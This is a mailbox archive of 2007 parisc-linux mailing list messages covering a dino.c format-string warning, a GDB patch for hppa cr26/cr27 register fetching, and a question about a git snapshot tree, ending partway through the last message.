X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2007 15:16:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 03 Aug 2007 17:16:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B83F77DCCB;
	Fri,  3 Aug 2007 09:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06321-05; Fri, 3 Aug 2007 09:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67E097DCAC;
	Fri,  3 Aug 2007 09:16:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED7037DCB1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 09:16:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06434-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Aug 2007 09:16:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 756D87DCAC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 09:16:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l73FGAmK002494
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Aug 2007 11:16:10 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l73FG8jb002491;
	Fri, 3 Aug 2007 11:16:08 -0400 (EDT)
In-Reply-To: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be> from "Joel
	Soete" at Aug 3, 2007 03:16:14 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /nSVbsDJLi5mI/fRZWtpQoVjZml1ZBj/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24755

> > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function ?dino_bridge_init?:
> > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
> expects type long unsigned int, but argument 4 has type 
> > > resource_size_t
> > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
> expects type long unsigned int, but argument 5 has type 
> > > resource_size_t

>>>From linux/types.h:

#ifdef CONFIG_RESOURCES_64BIT
typedef u64 resource_size_t;
#else
typedef u32 resource_size_t;
#endif

%lx looks right for parisc.  This is ugly but you can kill the warning
by casting arguments 4 and 5 to unsigned long.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri, 3 Aug 2007 11:39:09 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20070803153909.GA7812__21299.0292501219$1416624425$gmane$org@fattire.cabal.ca>
References: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be>
	<200708031516.l73FG8jb002491@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624425 24896 80.91.229.3 (22 Nov 2014 02:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:05 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2007 15:39:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 03 Aug 2007 17:39:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60AD47DBEF;
	Fri,  3 Aug 2007 09:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06917-03; Fri, 3 Aug 2007 09:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB0417DB95;
	Fri,  3 Aug 2007 09:39:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B83A7DCCD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 09:39:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06321-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Aug 2007 09:39:11 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id C37AC7DCB3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 09:39:11 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DB8BC5841B6;
	Fri,  3 Aug 2007 11:39:10 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 392485841B2;
	Fri,  3 Aug 2007 11:39:10 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id C72B423E06; Fri,  3 Aug 2007 11:39:09 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200708031516.l73FG8jb002491@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YgrVLEZZaHI/bKWnKSUlV2RqamdhZMT+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24756

On Fri, Aug 03, 2007 at 11:16:08AM -0400, John David Anglin wrote:
> > > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function ?dino_bridge_init?:
> > > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
> > expects type long unsigned int, but argument 4 has type 
> > > > resource_size_t
> > > > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
> > expects type long unsigned int, but argument 5 has type 
> > > > resource_size_t
> 
> >From linux/types.h:
> 
> #ifdef CONFIG_RESOURCES_64BIT
> typedef u64 resource_size_t;
> #else
> typedef u32 resource_size_t;
> #endif
> 
> %lx looks right for parisc.  This is ugly but you can kill the warning
> by casting arguments 4 and 5 to unsigned long.
> 

We're "supposed" to use %llx and cast to a ULL, this is because of
CONFIG_RESOURCES_64BIT which is for crap architectures which have
32-bit registers, but the possibility of bigger physical addresses,
(think i386 with 36-bit PAE addressing.)

--Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa patch] Fix register definitions for hppa
Date: Fri, 3 Aug 2007 17:06:46 +0000
Lines: 97
Approved: news@gmane.org
Message-ID: <20070803170646.GB32611__40936.2188111574$1416624426$gmane$org@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624426 24899 80.91.229.3 (22 Nov 2014 02:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gdb-patches@sources.redhat.com
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2007 17:06:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 03 Aug 2007 19:06:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AD697DCD5;
	Fri,  3 Aug 2007 11:06:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07361-03; Fri, 3 Aug 2007 11:06:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8507D7DCCD;
	Fri,  3 Aug 2007 11:06:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B18F27DCC8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 11:06:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06917-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Aug 2007 11:06:47 -0600 (MDT)
Original-Received: from arwen.tausq.org (unknown [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 56B207DCC5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 11:06:47 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 80B7343879; Fri,  3 Aug 2007 10:06:46 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i1KKcxZieWU6YLeUfHVzsMo5U3U4N8/R
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24757

Should be self-explanatory. We came across this while debugging
TLS-enabled thread debugging on hppa-linux. GDB was not reading 
cr27 (hppa's thread register), so thread-debugging failed quite 
miserably :(

If there are no comments, I shall commit in a couple of days.

thanks,
randolph

2007-08-03  Randolph Chung  <tausq@debian.org>

	* hppa-tdep.c (hppa32_cannot_fetch_register)
	(hppa64_cannot_fetch_register): New functions.
	(hppa_gdbarch_init): Set cannot_fetch_register appropriately.
	* hppa-tdep.h (hppa_regnum): Add HPPA_CR26_REGNUM.

Index: hppa-tdep.c
===================================================================
RCS file: /cvs/src/src/gdb/hppa-tdep.c,v
retrieving revision 1.234
diff -u -p -r1.234 hppa-tdep.c
--- hppa-tdep.c	15 Jun 2007 22:44:55 -0000	1.234
+++ hppa-tdep.c	13 Jul 2007 16:26:29 -0000
@@ -2676,6 +2676,16 @@ hppa32_cannot_store_register (int regnum
 }
 
 static int
+hppa32_cannot_fetch_register (int regnum)
+{
+  /* cr26 and cr27 are readable (but not writable) from userspace.  */
+  if (regnum == HPPA_CR26_REGNUM || regnum == HPPA_CR27_REGNUM)
+    return 0;
+  else
+    return hppa32_cannot_store_register (regnum);
+}
+
+static int
 hppa64_cannot_store_register (int regnum)
 {
   return (regnum == 0
@@ -2684,6 +2694,16 @@ hppa64_cannot_store_register (int regnum
           || (regnum > HPPA_IPSW_REGNUM && regnum < HPPA64_FP4_REGNUM));
 }
 
+static int
+hppa64_cannot_fetch_register (int regnum)
+{
+  /* cr26 and cr27 are readable (but not writable) from userspace.  */
+  if (regnum == HPPA_CR26_REGNUM || regnum == HPPA_CR27_REGNUM)
+    return 0;
+  else
+    return hppa64_cannot_store_register (regnum);
+}
+
 static CORE_ADDR
 hppa_smash_text_address (CORE_ADDR addr)
 {
@@ -3076,7 +3096,7 @@ hppa_gdbarch_init (struct gdbarch_info i
 	set_gdbarch_cannot_store_register (gdbarch,
 					   hppa32_cannot_store_register);
 	set_gdbarch_cannot_fetch_register (gdbarch,
-					   hppa32_cannot_store_register);
+					   hppa32_cannot_fetch_register);
         break;
       case 8:
         set_gdbarch_num_regs (gdbarch, hppa64_num_regs);
@@ -3087,7 +3107,7 @@ hppa_gdbarch_init (struct gdbarch_info i
 	set_gdbarch_cannot_store_register (gdbarch,
 					   hppa64_cannot_store_register);
 	set_gdbarch_cannot_fetch_register (gdbarch,
-					   hppa64_cannot_store_register);
+					   hppa64_cannot_fetch_register);
         break;
       default:
         internal_error (__FILE__, __LINE__, _("Unsupported address size: %d"),
Index: hppa-tdep.h
===================================================================
RCS file: /cvs/src/src/gdb/hppa-tdep.h,v
retrieving revision 1.30
diff -u -p -r1.30 hppa-tdep.h
--- hppa-tdep.h	15 Jun 2007 22:44:55 -0000	1.30
+++ hppa-tdep.h	13 Jul 2007 16:26:29 -0000
@@ -59,6 +59,7 @@ enum hppa_regnum
   HPPA_PID3_REGNUM = 56,	/* Protection ID */
   HPPA_CCR_REGNUM = 54,		/* Coprocessor Configuration Register */
   HPPA_TR0_REGNUM = 57,		/* Temporary Registers (cr24 -> cr31) */
+  HPPA_CR26_REGNUM = 59,
   HPPA_CR27_REGNUM = 60,	/* Base register for thread-local storage, cr27 */
   HPPA_FP0_REGNUM = 64,		/* First floating-point.  */
   HPPA_FP4_REGNUM = 72,
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [hppa patch] Fix register definitions for hppa
Date: Fri, 3 Aug 2007 20:12:19 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20070803201219.GC32611__37286.3430217423$1416624426$gmane$org@tausq.org>
References: <20070803170646.GB32611@tausq.org>
	<119aab440708031132h58d94c38l672a241301bda9ee@mail.gmail.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624426 24900 80.91.229.3 (22 Nov 2014 02:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 gdb-patches@sources.redhat.com
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2007 20:12:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx067) with SMTP; 03 Aug 2007 22:12:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 924367DCD2;
	Fri,  3 Aug 2007 14:12:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08074-10; Fri, 3 Aug 2007 14:12:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 511D07DCB3;
	Fri,  3 Aug 2007 14:12:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C44F7DCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 14:12:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08074-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Aug 2007 14:12:21 -0600 (MDT)
Original-Received: from arwen.tausq.org (unknown [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 2FB0B7DCA6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Aug 2007 14:12:21 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id A0B4743879; Fri,  3 Aug 2007 13:12:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <119aab440708031132h58d94c38l672a241301bda9ee@mail.gmail.com>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: A7WLcxdcbmw6bK2HZzdL6MdHUzc4clGD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24758

> Isn't there a way we can teach gdb that cr27 is writable via this sequence?
> 
> e.g.
> static inline void __set_cr27(struct pthread *cr27)
> {
>   asm ( "ble    0xe0(%%sr2, %%r0)\n\t"
>         "copy   %0, %%r26"
>         : : "r" (cr27) : "r26" );
> }
> 
> At the very least please adjust the comment to say "cr27 is writable via
> a kernel helper function."
> 
> How does gdb read cr27? It must know how to use mfctl?

Remember that gdb is reading the cr27 of the debuggee, not of itself, so
__set_cr27 is irrelevant.

 From the architecture point of view, CR26 and CR27 are only readable
>from userspace, so gdb should not enable somebody to set them from
inside gdb.

GDB gets the value of cr26/cr27 the same way it gets the value of other
registers -- via ptrace or the register set returned in a core dump,
etc...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Git snaps pb with http?
Date: Thu,  9 Aug 2007 10:10:36 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <JMHYPO$B8A03EB59514846D34A78BD0B762C486__44832.8428356492$1416624426$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624426 24902 80.91.229.3 (22 Nov 2014 02:47:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:06 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "kyle" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2007 08:11:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 09 Aug 2007 10:11:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4D387DC22;
	Thu,  9 Aug 2007 02:11:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31131-04; Thu, 9 Aug 2007 02:11:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 536C27DC26;
	Thu,  9 Aug 2007 02:11:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC9157DC1B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 02:10:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28938-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Aug 2007 02:10:52 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 85EED7DC18
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Aug 2007 02:10:51 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id l798AaS32365;
	Thu, 9 Aug 2007 10:10:36 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H/6Dc4lZeWU6YLeUfHVz6wk5U3U4N8+V
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24759

Hello Kyle,

Some time ago, I discover your interesting snapshot tree:
<http://git.kernel.org/?p=3Dlinux/kernel/git/kyle/linux-2.6-snaps.git;a=3D=
summary>

Saying today:
[snip]
description: Daily git snapshots of Linus' tree 
owner: Kyle McMartin 
last change: Tue, 7 Aug 2007 01:31:43 +0000 
